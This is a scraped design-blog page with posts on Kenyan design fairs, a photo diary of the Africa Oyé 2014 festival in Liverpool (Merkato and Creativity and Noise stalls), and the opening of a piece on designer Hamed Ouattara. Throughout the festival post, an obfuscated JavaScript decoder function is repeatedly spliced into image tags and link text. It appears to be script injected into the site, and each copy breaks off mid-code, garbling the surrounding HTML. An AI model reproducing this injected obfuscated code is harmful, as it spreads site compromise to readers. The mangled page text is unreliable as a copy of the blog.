A few of my favourite things: Kenyan design brands

Nairobi this past November was a feast for the eyes, thanks to some of my favourite Kenyan design brands! I participated in several fairs which, gave me the opportunity to check out the great work of my peers.

The photos below were taken at Biz Baz, XmasBoX, Spring Valley Bazaar and the Ichyulu Pop Up at Zen Garden. This list is by no-means exhaustive!

I’m participating in 2 more events this year: a special Christmas evening at Nook Cafe on Thursday (14th December) and Pop-Up & Chill Handmaker’s Market, this Sunday (17th December). Come through to hang out, discover some new brands, and get your last-minute Christmas gifts and treats!

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Design, Music and Good Vibes at Africa Oyé 2014

I spent a wonderful weekend in Liverpool, at the UK’s largest African musical festival, Africa Oyé. This year wasn’t just about soaking up the good music and good vibes (although there was still plenty of that) as I was helping out at the Creativity and Noise + Merkato stall.

 

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-Noise-Yebo-T-shirt-on-Tour" src="http://afri-love.typepad.com/.a/6a013483832c3b970c01a3fd253269970b-800wi" alt="2-Creativity-and-Noise-Yebo-T-shirt-on-Tour" border="0" />

It was great to get out of the big city – I love train journeys, exploring new places and taking a breather from the hecticness of London.

 

3-Setting-Up-Festival-Stall

I have enormous respect for entrepreneurs who regularly set up at markets and events. It's demanding work!

 

4-Laura-Merkato-MKTO-Setting-Up-Shop

This is Laura Marano, the lady behind Merkato (fairly traded homeware and fashion accessories). You may remember her from a popular Afri-love interview where she talked about her other venture, Green-Safari.

 

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-Noise-Stall-Laura-Marano-Lusungu-Chikamata" src="http://afri-love.typepad.com/.a/6a013483832c3b970c01a3fd25335f970b-800wi" alt="5-Merkato-MKTO-Creativity-and-Noise-Stall-Laura-Marano-Lusungu-Chikamata" border="0" />

Laura and Lusungu Chikamata of function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Noise" href="http://www.creativityandnoise.com/" target="_blank">Creativity and Noise. All set up and ready to trade!

 

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-Noise" src="http://afri-love.typepad.com/.a/6a013483832c3b970c01a3fd2533b6970b-800wi" alt="6-African-Design-Tote-Bags-Creativity-and-Noise" border="0" />

It was exciting to launch the new Creativity and Noise t-shirts and tote bags, designed by yours truly and hand screenprinted by Lusungu.

 

7-African-Design-Baskets-Merkato-MKTO-Taita

Beautiful wares from Merkato. Most made in the Taita-Taveta district of Kenya, where my Dad is from.

 

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-Noise-Drum-Lusungu-Chikamata" src="http://afri-love.typepad.com/.a/6a013483832c3b970c01a511d4b7e0970c-800wi" alt="8-African-Design-T-shirt-Creativity-and-Noise-Drum-Lusungu-Chikamata" border="0" />

Lusungu representing in his new 'Beat It' t-shirt. Look for it on the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Noise shop" href="http://creativityandnoise.bigcartel.com/" target="_blank">Creativity and Noise shop.

 

9-African-Design-Knit-iPhone-Cases-Merkato

Knit iPhone cases from Merkato.

 

10-African-Design-Guords-Taita-Baskets-Merkato

It was a visual treat checking out what the other vendors had to offer, such as these guords. Right: a Taita basket from Merkato (and the lady who made it!).

 

11-Kenya-Tanzania-Beaded-Bracelets

I met some fellow Kenyans, Muigai and Anto, who were selling these beaded bangles that had me feeling all patriotic. Kenya and Tanzania represented – perfect!

 

13-Moroccan-Shoes-Leather

A wonderful array of colours at Dry Rain, a stall selling Moroccan wares including these leather slippers.

 

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-Bangles-by-Craft-Africa" src="http://afri-love.typepad.com/.a/6a013483832c3b970c01a73de009e3970d-800wi" alt="14-Coasters-and-Bangles-by-Craft-Africa" border="0" />

Our neighbouring stall had a massive collection of baskets and other woven goods including these coasters, bangles …

 

15-African-Design-Woven-Rugs-Mats-Craft-Africa

and mats/rugs.

 

16-Zebra-Print-Van-Safari-Food

A funky zebra-print van belonging to a food stall selling all kinds of African game meat, including my beloved crocodile!

 

17-African-Design-Recylced-Flip-Flops-Upcycled-Fridge-Magnets-Merkato

Butterfly fridge magnets made from recycled/upcycled flip-flops. From Merkato.

 

18-Dancing-Chikamatas-Africa-Oye

Of course, there was time for dancing.

 

19-Africa-Oye-With-the-Zambians

Me with the Zambians, all representing with our Creativity and Noise tees.

 

20-Blue-Skies-Africa-Oye-Liverpool

It almost always rains at some point during the Africa Oyé weekend. This year, it didn't! Blue skies and sunshine throughout. What a bonus?!

 

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-Noise-Africa-Oye" src="http://afri-love.typepad.com/.a/6a013483832c3b970c01a73de00acc970d-800wi" alt="21-African-Design-Rocking-Merkato-Creativity-and-Noise-Africa-Oye" border="0" />

All geared up and ready for day 2 of the festival.

 

22-Africa-Oye-African-Music-Jally-Kebba-Susso-Joe-Driscoll

We got to watch Joe Driscoll and function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Manding Sabu" href="https://www.facebook.com/jallyk.mandingsabu" target="_blank">Jally Kebba Susso  jamming/warming up early on the Sunday morning. The kora on reggae and hip hop tracks sounds amazing!

 

23-Sunset-Africa-Oye-Rose-Tinted-Glasses

As usual, the whole experience was a welcome and wonderful assault on the senses.

One of the things I love about Africa Oyé is that there’s no heavy-handed policing. The police and security presence at this festival is surprisingly minimal – you barely notice them. No gates to walk through where every inch of you is checked, no wall of policemen to intimidate. It just goes to show that if you treat people like human beings, they will act like human beings!

At some point on the Sunday, I found myself feeling a little bit teary. I know this is going to sound corny but, I was overwhelmed by just how beautiful the moment was. All kinds of people – ages, races, abilities; all kinds of random acts of kindness going on; people talking to strangers … real, tangible joy!

See you there next year!

 

Photos by Lulu Kitololo (and a couple courtesy of Lusungu Chikamata), most of them processed with VSCOcam. View even more photos from the weekend, on Facebook.

Continue reading "Design, Music and Good Vibes at Africa Oyé 2014"

Inspired: Furniture Design by Hamed Ouattara

Hamed Design Side Tables

I recently met Hamed Ouattara when he was in London for the Graphic Africa exhibition featuring designers from Design Network Africa. Along with my first experience talking through an interpreter (awkward!), it was a great opportunity to see Hamed's furniture in the flesh – or should I say metal!

Based in Burkina Faso, Hamed works primarily with recycled materials, creating pieces that marry culture and modernity. Functional design that reflects the reality of his environment and that can be integrated into daily life, all the while adding beauty to it. He is a man after my own heart when he says:

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